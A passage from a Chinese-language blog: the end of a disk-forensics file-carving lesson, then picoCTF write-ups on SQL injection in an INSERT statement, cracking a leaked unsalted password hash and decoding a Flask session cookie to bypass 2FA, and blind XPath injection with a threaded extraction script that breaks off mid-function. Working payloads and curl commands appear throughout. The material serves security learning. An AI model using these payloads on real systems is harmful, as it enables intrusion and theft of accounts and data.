sudo istat /dev/loop0 13 | tail -2 sudo istat /dev/loop0 14 | tail -2 sudo xxd -s $((8705*1024)) -l 32 /dev/loop0 ``` ``` Direct Blocks: 9217 Direct Blocks: 9218 00880400: 6865 6c6c 6f20 6469 736b 2066 6f72 656e hello disk foren 00880410: 7369 6373 0a00 0000 0000 0000 0000 0000 sics............ ``` inode 立刻被重用,block 卻沒有,a.txt 拿到 9217,8705 沒被碰,hello 還在,這次 ext4 往後找新格子,沒回頭撿剛空出來的,所以「內容還在」的窗口通常比「inode 還在」長。這種行為每個檔案系統都不一樣,記住這件事本身就是功力。 現在的狀況是最壞的:檔名沒了、inode 被別人拿走、地圖被清掉,只剩內容躺在碟上。 ## Step 8:救回來 地圖沒了,就整顆碟一格一格掃,找內容本身的特徵。我們知道檔案裡有 "hello disk forensics": ```bash sudo grep -a -b -o "hello disk forensics" /dev/loop0 ``` ``` 8913920:hello disk forensics ``` `-a` 把碟當純文字硬讀,`-b` 印命中的 byte 位置,8913920 ÷ 1024 = 8705,跟 inode 被拆掉前寫的一樣——這次沒有任何帳本,純靠掃內容找到。 救出來: ```bash sudo dd if=/dev/loop0 bs=1024 skip=8705 count=1 2>/dev/null | tr -d '\0' > recovered.txt cat recovered.txt ``` `bs=1024 skip=8705 count=1` \= 以 1024 為單位,跳過 8705 個,抓 1 個,`tr -d '\0'` 把格子尾巴的 0 去掉。 這招叫 carving:不靠帳本,靠內容特徵。真實檔案你不知道內容,但檔案格式有固定開頭——JPEG 是 `FF D8 FF`、PDF 是 `%PDF`、ZIP 是 `PK`,PhotoRec 就是拿幾百種格式的開頭掃整顆碟,掃到就從那格往後抓。 carving 的限制: 1. 檔名沒了 2. 時間沒了 3. 檔案不連續就會拼錯 ## 收尾 ```bash sudo umount /mnt/lab sudo losetup -d /dev/loop0 ``` `disk.img` 留著,下一課還會用, ## 結語 這一課真正學到的只有四件事: 1. 硬碟是一排編號的格子,所有事情都是在回答「哪一格裝了什麼」 2. MBR、ext4 的帳本,格式都是規格書定死的。拿著格式表數 offset 就讀得出來——從 0 數、無視 xxd 的空格、數字倒著讀 3. 「開檔案」是三步:查名字 → 翻 inode → 去 block 讀,會手動走這三步的人,在檔案被刪、帳本壞掉時還撈得回來 4. 刪除只是做記號。內容還在 ≠ 找得回來,中間差一張地圖 Happy Carving! ### picoCTF 2026 Secret Box URL: https://taiwanding.com/picoctf-2026-secret-box/ Last updated: 2026-09-19T06:36:21.000Z 這題是 picoCTF 2026 的 Web 題:`Secret Box`。 題目描述: > This secret box is designed to conceal your secrets. > > It's perfectly secure—only you can see what's inside. > > Or can you? Try uncovering the admin's secret. 這題一開始就給 source code,所以不是純黑箱猜題, 題目說的是: ```text 每個人只能看到自己的 secret 但我們要想辦法看到 admin 的 secret ``` 這種題目通常要先看兩件事: - secret 是怎麼存的 - 網站怎麼判斷「這個 secret 是誰的」 ## 題目資訊 - 題目:Secret Box - 分類:Web Exploitation - 難度:Medium - 平台:picoCTF 2026 這篇照實際解題流程寫,重點是理解: ```text Express + EJS PostgreSQL auth_token owner_id SQL injection ``` 最後我們不是直接進 admin 頁面,而是用 SQL injection 把 admin 的 secret 複製到自己的 secret box, ## Step 1:下載 source code 先建立資料夾: ```bash cd /mnt/d/Download mkdir -p secretbox cd secretbox ``` 設定網址: ```bash BASE='http://candy-mountain.picoctf.net:58604' SRC='https://challenge-files.picoctf.net/c_candy_mountain/4185bd4297d58d842f759dc8857f6a03206fd0f2421e3aff2e9c43326fe61516/source.tar.gz' ``` 下載並解壓: ```bash curl -sS -L "$SRC" -o source.tar.gz mkdir -p src tar -xzf source.tar.gz -C src rg --files src ``` 可以看到: ```text src/source/docker-compose.yml src/source/app/Dockerfile src/source/db/Dockerfile src/source/db/initdb.sql src/source/app/src/handler.js src/source/app/src/db.js src/source/app/src/server.js src/source/app/src/views/login.ejs src/source/app/src/views/index.ejs src/source/app/src/views/create_secret.ejs src/source/app/src/views/my_secrets.ejs src/source/app/src/views/signup.ejs ``` 檔案很少,主線應該會在: ```text server.js:路由 handler.js:登入狀態 / token initdb.sql:資料庫 schema db.js:admin password / flag 初始化 views/*.ejs:畫面怎麼顯示 ``` ## Step 2:EJS 是什麼 一開始看到 `.ejs` 可能會有點陌生,EJS 是 Node.js / Express 常用的模板引擎,完整名稱是: ```text Embedded JavaScript templates ``` 可以把它想成 Flask 的 Jinja, | Flask | Express / Node | | -------------------------------------- | -------------------------------- | | render\_template("index.html", data=x) | res.render("index", { data: x }) | | Jinja template | EJS template | | {{ value }} | <%= value %> | 這題的首頁會這樣 render: ```js return res.render('my_secrets', {secrets: query.rows}); ``` EJS 裡這樣顯示 secret: ```ejs <%= sec.content %> ``` `<%= %>` 會做 HTML escape,所以這題目前看起來不是 EJS SSTI,也不是 XSS 題, EJS 只是負責把資料顯示出來,真正要看的還是後端 SQL。 ## Step 3:看資料庫結構 先看 `initdb.sql`: ```bash nl -ba src/source/db/initdb.sql | sed -n '1,80p' ``` 重點是三張表: ```sql CREATE TABLE users ( id text PRIMARY KEY DEFAULT gen_random_uuid(), username text NOT NULL, password text NOT NULL, created_at timestamptz NOT NULL DEFAULT now() ); CREATE TABLE tokens ( id text PRIMARY KEY DEFAULT gen_random_uuid(), user_id text NOT NULL REFERENCES users(id), created_at timestamptz NOT NULL DEFAULT now(), expired_at timestamptz NOT NULL DEFAULT now() + interval '1 days' ); CREATE TABLE secrets ( id text PRIMARY KEY DEFAULT gen_random_uuid(), owner_id text NOT NULL REFERENCES users(id), content text NOT NULL, created_at timestamptz NOT NULL DEFAULT now() ); ``` 這裡可以先理解資料關係: ```text users.id -> tokens.user_id -> secrets.owner_id ``` 也就是: ```text token 對應使用者 secret 也對應使用者 ``` admin 的 UUID 也在初始化檔案裡: ```sql INSERT INTO users(id, username, password) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password'); INSERT INTO secrets(owner_id, content) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{fake_flag}'); ``` 雖然本地 source 是 fake flag,但 `db.js` 會在正式環境啟動時更新成真正的 flag: ```js await db('users') .where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' }) .update({ password: process.env.USERPASSWORD }); await db('secrets') .where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' }) .update({ content: process.env.FLAG }); ``` 所以可以確認: ```text admin 的 secret 就是 flag admin 的 owner_id 是固定 UUID ``` ## Step 4:看登入狀態怎麼判斷 `handler.js` 負責讀 cookie: ```js const cookies = getCookies(req.headers.cookie); const token = cookies.auth_token; ``` 如果有 token,就查資料庫: ```js const query = await db.raw( `SELECT * FROM tokens WHERE id = ? AND expired_at > NOW()`, [token] ); ``` 查得到就把使用者 ID 放到 request 裡: ```js req.userId = query.rows[0].user_id; ``` 所以這題的登入狀態是: ```text cookie 裡有 auth_token -> tokens 表查得到 -> req.userId = tokens.user_id ``` 首頁 `/` 會用 `req.userId` 查自己的 secrets: ```js const query = await db.raw( `SELECT * FROM secrets WHERE owner_id = ?`, [userId] ); return res.render('my_secrets', {secrets: query.rows}); ``` 這邊是參數化查詢,看起來沒有直接的 IDOR。 因為首頁只會查: ```sql SELECT * FROM secrets WHERE owner_id = 自己的 userId ``` 所以如果我們想看到 admin secret,不能只是改 URL,要想辦法讓 admin secret 變成「自己的 secret」。 ## Step 5:找到真正的 SQL injection 看 `server.js` 裡建立 secret 的 route: ```bash nl -ba src/source/app/src/server.js | sed -n '120,140p' ``` 重點是這段: ```js app.post('/secrets/create', authMiddleware, async (req, res) => { const userId = req.userId; if (!userId){ res.clearCookie('auth_token'); return res.redirect('/'); } const content = req.body.content; const query = await db.raw( `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')` ); return res.redirect('/'); }); ``` 問題在這行: ```js `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')` ``` `userId` 和 `content` 被直接拼進 SQL,其中 `userId` 來自 token,正常比較不好控制,但 `content` 是我們建立 secret 時輸入的內容,所以它是可控的。 後端原本想做: ```sql INSERT INTO secrets(owner_id, content) VALUES ('我的 userId', '我的 secret') ``` 如果 `content` 可以提前關閉字串,我們就可以把 SQL 變成: ```sql INSERT INTO secrets(owner_id, content) VALUES ('我的 userId', 'x'), ('我的 userId', '另一筆 secret')--') ``` 這裡不是送兩個 SQL statement,比較準確地說,是: **同一個 INSERT 裡面,追加第二筆 VALUES。** ## Step 6:先註冊普通使用者並登入 先註冊一個普通帳號: ```bash BASE='http://candy-mountain.picoctf.net:58604' C=secretbox_cookies.txt USER="u$(date +%s)" PASS="Passw0rd!" curl -sS -i -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" \ -o 01_signup.http curl -sS -i -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" \ -o 02_login.http TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")" echo "USER=$USER" echo "TOKEN=$TOKEN" sed -n '1,100p' 02_login.http ``` 登入成功後會看到: ```http HTTP/1.1 302 Found Set-Cookie: auth_token=... Location: / ``` 這裡的 `auth_token` 很重要,因為我們知道 token,但不知道自己的 `user_id`。 不過資料庫知道: ```sql SELECT user_id FROM tokens WHERE id='我們的 token' ``` 所以等等可以用這個子查詢,讓資料庫自己幫我們找出目前使用者 ID。 ## Step 7:用 marker 證明 SQL injection 成功 先不要急著拿 flag,先用 marker 確認自己真的能插入第二筆 secret, marker 就是我們故意放進去的標記,例如: ```text MARK1788101140 ``` payload: ```bash MARK="MARK$(date +%s)" PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), '$MARK')--" printf '%s\n' "$PAYLOAD" ``` 送出: ```bash curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \ --data-urlencode "content=$PAYLOAD" \ -o 03_marker.http sed -n '1,120p' 03_marker.http curl -sS -b "$C" "$BASE/" -o 04_home_marker.html grep -Eo "$MARK|Server Internal Error|error|Error" 04_home_marker.html 03_marker.http ``` 結果: ```text 04_home_marker.html:MARK1788101140 ``` 這代表 marker 已經出現在自己的 Secret Box 裡。 也就是說,這段 payload 成功讓資料庫多插入了一筆 secret: ```sql INSERT INTO secrets(owner_id, content) VALUES ('我的 userId', 'x'), ((SELECT user_id FROM tokens WHERE id='我的 token'), 'MARK1788101140')--') ``` 裡面的子查詢: ```sql SELECT user_id FROM tokens WHERE id='我的 token' ``` 會回傳自己的 user ID,所以第二筆 secret 其實等於: ```sql ('我的 userId', 'MARK1788101140') ``` marker 測試成功後,才進下一步。 ## Step 8:把 admin secret 複製到自己的 box source code 已經告訴我們 admin 的 UUID: ```text e2a66f7d-2ce6-4861-b4aa-be8e069601cb ``` admin secret 存在: ```sql secrets.content ``` 所以要查 admin secret,可以用: ```sql SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1 ``` 把 marker payload 裡的: ```sql 'MARK' ``` 換成這個查詢: ```sql (SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1) ``` 完整指令: ```bash TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")" PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), (SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1))--" printf '%s\n' "$PAYLOAD" curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \ --data-urlencode "content=$PAYLOAD" \ -o 05_dump_admin_secret.http sed -n '1,120p' 05_dump_admin_secret.http curl -sS -b "$C" "$BASE/" -o 06_home_flag.html grep -Eo 'picoCTF\{[^}]+\}' 06_home_flag.html ``` 結果: ```text picoCTF{Redacted} ``` 這裡的概念是: ```text 第一筆:插入一個普通的 x 第二筆:owner_id 是我自己,content 是 admin secret ``` 所以最後首頁查自己的 secrets 時: ```sql SELECT * FROM secrets WHERE owner_id = 我的 userId ``` 就會把剛剛複製過來的 admin secret 顯示出來。 ## 中間 SQL 是怎麼組出來的 這題最容易卡住的是這個 payload: ```sql x'), ((SELECT user_id FROM tokens WHERE id='TOKEN'), 'MARK')-- ``` 用 toy example 會比較好懂。 假設資料表長這樣: ```text users U1 admin U2 kevin tokens T2 -> U2 secrets U1 -> picoCTF{secret} ``` 正常新增 secret: ```sql INSERT INTO secrets(owner_id, content) VALUES ('U2', 'hello') ``` 如果 content 輸入: ```sql x'), ('U2', 'MARK')-- ``` 後端拼完會變成: ```sql INSERT INTO secrets(owner_id, content) VALUES ('U2', 'x'), ('U2', 'MARK')--') ``` 這樣就插入兩筆: ```text U2 -> x U2 -> MARK ``` 但我們不一定知道自己的 user ID 是 `U2`,所以改成讓資料庫從 token 查: ```sql SELECT user_id FROM tokens WHERE id='T2' ``` payload 變成: ```sql x'), ((SELECT user_id FROM tokens WHERE id='T2'), 'MARK')-- ``` 最後再把 `MARK` 換成 admin secret: ```sql x'), ( (SELECT user_id FROM tokens WHERE id='T2'), (SELECT content FROM secrets WHERE owner_id='U1' LIMIT 1) )-- ``` 等價於: ```sql INSERT INTO secrets(owner_id, content) VALUES ('U2', 'x'), ('U2', 'picoCTF{secret}')--') ``` 所以這題不是直接繞過「只能看自己的 secret」,而是把 admin secret 複製成自己的 secret。 ## 學習重點 `Secret Box` 這題名字取得很好, 表面上每個人的 box 都只查自己的 `owner_id`,看起來權限沒有錯, 但建立 secret 的地方有 SQL injection, 所以我們可以偷偷請資料庫做一件事: ```text 幫我新增一筆 secret owner 是我 內容是 admin 的 secret ``` 這就是這題最核心的想法。 ### picoCTF 2026 No FA URL: https://taiwanding.com/picoctf-2026-no-fa/ Last updated: 2026-09-19T06:36:21.000Z 題目描述: > Seems like some data has been leaked! Can you get the flag? 這題一開始就很明確地給了兩個東西: - application code:`app.py` - leaked data:`users.db` 所以它不是純黑箱亂猜題,而是白箱審計題,題名叫 `No FA`,看起來像是在講 2FA / MFA,再加上題目說資料外洩,所以第一個合理假設是: **洩漏的資料能不能讓我們繞過 2FA?** ## 題目資訊 - 題目:No FA - 分類:Web Exploitation - 難度:Medium - 平台:picoCTF 2026 - 網站類型:登入 + 2FA 的 Flask web app - 連結:[https://learn.cylabacademy.org/library/765](https://learn.cylabacademy.org/library/765?ref=taiwanding.com) ## 什麼是 client-side session:簽章不是加密 這題的核心是一個很多人會弄混的觀念:Flask 預設的 session 到底放在哪、又保護了什麼, Flask 預設把 session 內容放在 client-side cookie 裡,這個 cookie 會用 `SECRET_KEY` 簽章,用途是防止使用者竄改內容——你改了,簽章就對不上。 但「簽章」不等於「加密」: ```text signed(簽章):你不能改,但你看得到 encrypted(加密):你看不到 ``` 也就是說,Flask 預設 session 是 signed cookie,不是 encrypted cookie,只要你手上有那個 cookie(用 curl、Burp、devtools 都拿得到),就能把裡面的內容 decode 出來,記住這件事,這題就通了一半:只要伺服器把任何敏感東西放進 session,那個東西對使用者來說就是「可讀」的,而這題偏偏把 2FA 的 OTP 放了進去。 ## Step 1:下載題目給的白箱材料 先建立資料夾: ```bash cd /mnt/d/Download mkdir -p nofa cd nofa ``` 設定網址: ```bash BASE='http://foggy-cliff.picoctf.net:XXXXX' APP='https://challenge-files.picoctf.net/.../app.py' DB='https://challenge-files.picoctf.net/.../users.db' ``` 下載: ```bash curl -sS -L "$APP" -o app.py curl -sS -L "$DB" -o users.db file app.py users.db ``` 結果可以看到: ```text app.py: Python script users.db: SQLite 3.x database ``` 現在方向很明確: ```text 先看 app.py 的登入規則 再看 users.db 裡有什麼資料 ``` ## Step 2:先看 app.py 的 route 白箱題我通常會先看 route: ```bash rg -n "route|login|flag|otp|2fa|session|password|hash|sqlite|users|admin" app.py ``` 這題的 route 很少: ```python @app.route("/") def home(): ... @app.route('/login', methods=['GET', 'POST']) def login(): ... @app.route('/two_fa', methods=['GET', 'POST']) def two_fa(): ... @app.route('/logout') def logout(): ... ``` 首頁邏輯: ```python @app.route("/") def home(): if 'username' not in session or session['logged'] == 'false': flash('Please login to access this page', 'red') return redirect(url_for('login')) flag = "No flag for you!!" if session.get('username') == 'admin': flag = os.getenv('FLAG') return render_template("index.html", flag=flag) ``` 這裡可以先整理出拿 flag 的條件: ```text session 裡要有 username session['logged'] 不能是 false session['username'] 要等於 admin ``` 也就是: ```text 我們要變成 logged=true 的 admin ``` ## Step 3:看登入和 2FA 流程 登入的核心邏輯: ```python user = db.get_user_by_username(username) if user and hashlib.sha256(password.encode()).hexdigest() == user['password']: if user['two_fa']: otp = str(random.randint(1000, 9999)) session['otp_secret'] = otp session['otp_timestamp'] = time.time() session['username'] = username session['logged'] = 'false' return redirect(url_for('two_fa')) else: session['username'] = username session['logged'] = 'true' return redirect(url_for('home')) ``` 這段有兩個重點。 第一,密碼是: ```python hashlib.sha256(password.encode()).hexdigest() ``` 代表資料庫裡存的是 SHA-256 hash。 第二,如果 `two_fa` 是 true,會產生 OTP: ```python otp = str(random.randint(1000, 9999)) session['otp_secret'] = otp session['otp_timestamp'] = time.time() session['username'] = username session['logged'] = 'false' ``` 這裡很微妙, 它把 OTP 放進 `session['otp_secret']`, 在 Flask 預設 session 裡,session 內容會被放在 client-side cookie 中,它會被簽章,避免使用者竄改,但它不是加密。 所以: ```text 不能隨便改 但是可以讀 ``` 這就是整題最核心的問題, 接著看 `/two_fa`: ```python @app.route('/two_fa', methods=['GET', 'POST']) def two_fa(): if request.method == 'POST': otp = request.form['otp'] stored_otp = session['otp_secret'] timestamp = session.get('otp_timestamp') if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120: session['logged'] = 'true' return redirect(url_for('home')) else: return render_template('2fa.html') else: return render_template('2fa.html') ``` 這代表: ```text 只要我們知道 session 裡的 otp_secret 並在 120 秒內送回去 就可以把 logged 變成 true ``` ## Step 4:看洩漏的 users.db 題目給的 `users.db` 是 SQLite。 可以用 Python 看 schema: ```bash python3 - <<'PY' import sqlite3 con = sqlite3.connect("users.db") cur = con.cursor() print("[tables]") tables = [r[0] for r in cur.execute( "SELECT name FROM sqlite_master WHERE type='table'" )] for t in tables: print("-", t) for t in tables: print(f"\n=== schema: {t} ===") for row in cur.execute(f"PRAGMA table_info({t})"): print(row) print(f"\n=== sample: {t} ===") for row in cur.execute(f"SELECT * FROM {t} LIMIT 20"): print(row) PY ``` 資料表: ```text users ``` `users` schema: ```text id username email password two_fa ``` admin 那筆資料: ```text username = admin email = iamadmin@nfs.com password = c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67 two_fa = 1 ``` 這裡可以得到兩個判斷: - admin 有開 2FA,所以登入後會進 `/two_fa` - admin 密碼 hash 已經外洩,而且沒有 salt 沒有 salt 的 SHA-256 很適合字典攻擊, ## Step 5:破解 admin password hash 先把 admin hash 存成檔案: ```bash python3 - <<'PY' import sqlite3 con = sqlite3.connect("users.db") cur = con.cursor() for row in cur.execute("SELECT username, password, two_fa FROM users WHERE username='admin'"): print(row) open("admin.sha256", "w").write(row[1] + "\n") PY cat admin.sha256 ``` 用 hashcat: ```bash hashcat -m 1400 -a 0 admin.sha256 /usr/share/wordlists/rockyou.txt hashcat -m 1400 admin.sha256 --show ``` 或 john: ```bash john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt admin.sha256 john --format=raw-sha256 --show admin.sha256 ``` 結果: ```text c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67:apple@123 ``` 現在我們有 admin 密碼: ```text apple@123 ``` 但這還沒結束,因為 admin 有 `two_fa=1`,登入後還會卡在 2FA。 ## Step 6:登入 admin,拿到 session cookie 用剛剛爆出的密碼登入: ```bash BASE='http://foggy-cliff.picoctf.net:XXXXX' PASS='apple@123' curl -sS -i -c cookies.txt -X POST "$BASE/login" \ --data-urlencode "username=admin" \ --data-urlencode "password=$PASS" \ -o login_admin.http sed -n '1,140p' login_admin.http cat cookies.txt ``` 結果會看到: ```http HTTP/1.1 302 FOUND Location: /two_fa Set-Cookie: session=... ``` 這代表: ```text 密碼是對的 但 admin 被導到 2FA ``` 而 `cookies.txt` 裡會有 Flask session cookie。 ## Step 7:decode Flask session,看 OTP 先裝工具: ```bash python3 -m pip install --user flask-unsign ``` 取出 cookie: ```bash COOKIE="$(awk '$6=="session"{print $7}' cookies.txt)" ``` decode: ```bash python3 -m flask_unsign --decode --cookie "$COOKIE" ``` 結果會看到類似: ```python { 'logged': 'false', 'otp_secret': '3412', 'otp_timestamp': 1788098991.6469016, 'username': 'admin' } ``` 這裡就是整題最關鍵的地方, `HttpOnly` 不是保護這個問題的答案, `HttpOnly` 只是避免瀏覽器裡的 JavaScript 讀 cookie,但使用者本來就拿得到自己收到的 cookie,只要透過 curl、Burp、瀏覽器 devtools、proxy,都能看到 cookie 值,而 Flask session 的內容是可 decode 的。 它被簽章,所以你不能隨便改: ```text 把 logged=false 改成 logged=true ``` 這通常需要知道 Flask `SECRET_KEY` 才能重新簽,但這題不需要改 cookie,因為 OTP 已經被放在 cookie 裡,我們只需要讀它。 ## Step 8:送 OTP,完成 2FA 把 `otp_secret` 送回 `/two_fa`: ```bash OTP='3412' curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/two_fa" \ --data-urlencode "otp=$OTP" \ -o twofa.http sed -n '1,120p' twofa.http ``` 如果成功,會看到: ```http HTTP/1.1 302 FOUND Location: / Set-Cookie: session=... ``` 這代表 `/two_fa` 已經把 session 改成: ```python session['logged'] = 'true' ``` 最後看首頁: ```bash curl -sS -b cookies.txt "$BASE/" -o home.html grep -Eo 'picoCTF\{[^}]+\}' home.html ``` 結果: ```text picoCTF{Redacted} ``` ### 學習重點 整條鏈接起來就是: ```text users.db 洩漏 -> 拿到 admin 的 SHA-256 password hash -> 用字典爆出 admin 密碼 -> 登入 admin 後進入 /two_fa -> OTP 被放在 Flask client-side session cookie -> Flask session 是簽章,不是加密 -> decode cookie 讀出 otp_secret -> POST OTP -> 成為 logged=true 的 admin -> 首頁顯示 flag ``` 真正的問題不是「OTP 太短可以暴力破解」,而是:**OTP 被放在使用者可讀的 session cookie 裡**,這就讓 2FA 變成 No FA。 ### 真正的突破點是看懂: ```python session['otp_secret'] = otp ``` 以及知道: ```text Flask 預設 session 是 signed cookie,不是 encrypted cookie ``` Signed 只能保證「你不能改」,Encrypted 才能保證「你看不到」,而這題只需要看得到 OTP,就已經夠了。 ### picoCTF 2021 X marks the spot URL: https://taiwanding.com/picoctf-2021-x-marks-the-spot/ Last updated: 2026-09-19T06:36:20.000Z 這題是 picoCTF 2021 的 Web 題:`X marks the spot`, 打開之後很樸素:一個登入頁,兩個欄位,`username` 和 `password`。 但頁面上故意寫了一句很可疑的話: > I don't use any of those regular old unsafe query languages! 這句話幾乎是在明示:我不是 SQL,一開始看到登入框,直覺會想丟一個 `' or 1=1--`,可是這題真正值得學的地方不是「背一個萬用 payload」,而是要理解: **有些查詢語言不是 SQL,但注入的邏輯一模一樣,網站只肯回你 TRUE/FALSE,一樣能把資料一個字一個字問出來,**這題就是 XPath 盲注。 ## 題目資訊 - 題目:X marks the spot - 分類:Web Exploitation - 平台:picoCTF 2021 - 連結:[https://learn.cylabacademy.org/library/185](https://learn.cylabacademy.org/library/185?ref=taiwanding.com) ## 什麼是 XPath Injection XPath 是拿來查 XML 文件的查詢語言,它跟 SQL 有點像,差別是 SQL 查資料表,XPath 查 XML 節點。 例如: ```xpath /root/user[name='admin' and pass='password'] ``` 意思大概是: > 找到 `` 底下的 ``,而且 `` 是 `admin`、`` 是 `password`。 如果後端把使用者輸入直接拼進 XPath,就會出現 XPath injection,它跟 SQLi 的成因其實是同一件事: ```text 使用者可控的字串,被直接拼進查詢語句,改變了查詢的結構 ``` 差別只是查詢語言從 SQL 換成 XPath, ## Step 1:先觀察登入頁與提示 先把題目給的線索攤開: - 一個登入頁,`username` 和 `password` 兩個欄位 - 提示語:`I don't use any of those regular old unsafe query languages!` - 題名叫 `X marks the spot` - 原始碼註解裡放了一首 Robert Frost 的詩,內文有 road、path 這類字 把這些線索連起來: ```text 不是 SQL(提示語自己說的) 一直暗示 path(題名、詩) 那會不會是 XPath? ``` 這一步還不需要打任何 payload,只是先建立一個假設:這題大概率是 XPath,接下來每一步,都是在驗證或推翻這個假設。 ## Step 2:確認有沒有布林訊號 這題有趣的地方是,它不是讓我們直接登入成功拿頁面,而是給我們一個布林訊號。 先送一個永遠為真的 payload: ```text ' or '1'='1 ``` 網站回: ```text You're on the right path ``` 再送一個永遠為假的 payload: ```text ' or '1'='2 ``` 網站回登入失敗。 同一組輸入、只差一個字元,回應就穩定不同,這代表:我們不一定看得到查詢結果,但可以得到 yes/no,這就是 blind injection 的味道——頁面本身不吐資料,但它會用「兩種不同回應」當作真假的答案。 ## Step 3:確認 XPath expression 真的被執行 只證明「有真假差異」還不夠,因為那也可能只是密碼錯誤造成的,下一步要證明:我們塞進去的東西真的是被當成 XPath 在算。 測一個一定為真的 XPath 函數: ```text ' or starts-with('abc','a') or '1'='2 ``` 回應是 TRUE(right path)。 再測一個一定為假的: ```text ' or starts-with('abc','z') or '1'='2 ``` 回應是 FALSE。 `starts-with('abc','a')` 和 `starts-with('abc','z')` 差別只在函數結果,而網站的回應跟著函數結果變,這幾乎可以確認:我們塞進去的 XPath expression 真的被後端執行了,到這裡假設就成立了:這是 XPath injection,而且是 blind 的。 ## Step 4:搞清楚我們到底在問什麼 在自動化之前,先用一個 toy example 把「我們到底怎麼把 flag 問出來」講清楚。 假設後端 XML 長這樣: ```xml admin secret123 picoCTF{hat} ``` 後端原本大概是這種查詢: ```xpath /root/user[name='admin' and pass='使用者輸入'] ``` 正常輸入 `abc` 會變成: ```xpath /root/user[name='admin' and pass='abc'] ``` 查不到,所以失敗。 但如果密碼欄輸入: ```text ' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2 ``` 後端拼起來會變成類似: ```xpath /root/user[name='admin' and pass='' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2'] ``` 核心是這一段: ```xpath starts-with(substring-after(string(/*),'picoCTF{'),'h') ``` 由內往外拆: `string(/*)` 會把 XML 根節點底下的文字全部串成一個字串,概念上像: ```text admin secret123 picoCTF{hat} ``` `substring-after(string(/*),'picoCTF{')` 取出 `picoCTF{` 後面的內容: ```text hat} ``` `starts-with('hat}','h')` 問這串是不是 `h` 開頭,答案是 TRUE, 網站不會直接把 `hat}` 印給我們,但它會透過「right path」或「login failure」告訴我們這個問題的 TRUE/FALSE。 所以我們其實是在玩一個 yes/no 遊戲: | 問題 | 回答 | 推論 | | -------------------- | ----- | ------- | | picoCTF{ 後面是不是 a 開頭? | FALSE | 不是 a | | 是不是 b 開頭? | FALSE | 不是 b | | 是不是 h 開頭? | TRUE | 第一個字是 h | | 是不是 ha 開頭? | TRUE | 第二個字是 a | | 是不是 hat 開頭? | TRUE | 第三個字是 t | | 是不是 hat} 開頭? | TRUE | 結束 | 一句話講完: > 每次只問一個 yes/no 問題,靠很多次 yes/no 把藏在 XML 裡的文字拼出來。 ## Step 5:把逐字元改成可平行的問法 Step 4 那種 `starts-with(prefix + candidate)` 的做法有一個缺點:前後相依。 ```text 不知道第一個字,就沒辦法問第二個字 不知道第二個字,就沒辦法問第三個字 ``` 只能一位一位往後推,很慢。 換個問法就不一樣了: ```xpath substring(flag_body, pos, 1) ``` 它不是問「目前 prefix 對不對」,而是直接問「第 `pos` 個字元是什麼」,例如: ```xpath substring(flag_body, 5, 1) ``` 就是單獨問第 5 個字元,每個位置彼此獨立: | 位置 | 問題 | | -- | ------------ | | 1 | 第 1 個字元是什麼? | | 2 | 第 2 個字元是什麼? | | 3 | 第 3 個字元是什麼? | | 10 | 第 10 個字元是什麼? | 位置獨立,就可以多線程同時問,不用等前一位。 再進一步,每個位置也不用把 95 個 printable ASCII 一個一個試,可以用二分法: ```xpath contains('一半候選字元', substring(flag_body, pos, 1)) ``` TRUE 代表該字元在左半邊,FALSE 代表在右半邊,95 個候選字元,大約 7 次查詢就能定位一個字元,到這裡策略就完整了:先問出長度,再對每個位置用二分法找字元,位置之間平行跑。 ## Step 6:自動化抽取整個 flag 把 Step 5 的策略寫成腳本,它做的事情是: 1. 先確認 XML 裡有 `picoCTF{` 2. 用 `substring-before(..., '}')` 只抓 `{` 到 `}` 中間的內容 3. 用二分法找每個位置的字元 4. 用 thread pool 讓不同位置平行查詢 5. 不在輸出裡保留真實 flag 先設定目標與參數: ```bash BASE='http://wily-courier.picoctf.net:XXXXX' WORKERS=8 VOTES=1 ``` 如果伺服器回應不穩,把並行數降低、投票數提高: ```bash WORKERS=6 VOTES=3 ``` 腳本: ```python import os import time import threading import requests from concurrent.futures import ThreadPoolExecutor, as_completed BASE = os.environ["BASE"].rstrip("/") WORKERS = int(os.environ.get("WORKERS", "8")) VOTES = int(os.environ.get("VOTES", "1")) KNOWN = "picoCTF{" CHARS = ''.join(chr(i) for i in range(32, 127)) _tl = threading.local() def sess(): s = getattr(_tl, "s", None) if s is None: s = requests.Session() _tl.s = s return s def lit(s): if "'" not in s: return "'" + s + "'" if '"' not in s: return '"' + s + '"' parts = [] for i, p in enumerate(s.split("'")): if i: parts.append('"\'"') if p: parts.append("'" + p + "'") return "concat(" + ",".join(parts) + ")" AFTER = f"substring-after(string(/*),{lit(KNOWN)})" BODY = f"substring-before({AFTER},{lit('}')})" def one(expr): payload = f"' or {expr} or '1'='2" for _ in range(3): try: r = sess().post( BASE + "/", data={"name": "admin", "pass": payload}, timeout=10, ) return "right path" in r.text.lower() except requests.RequestException: time.sleep(0.25) raise RuntimeError("request failed") def oracle(expr, votes=None): votes = votes or VOTES yes = 0 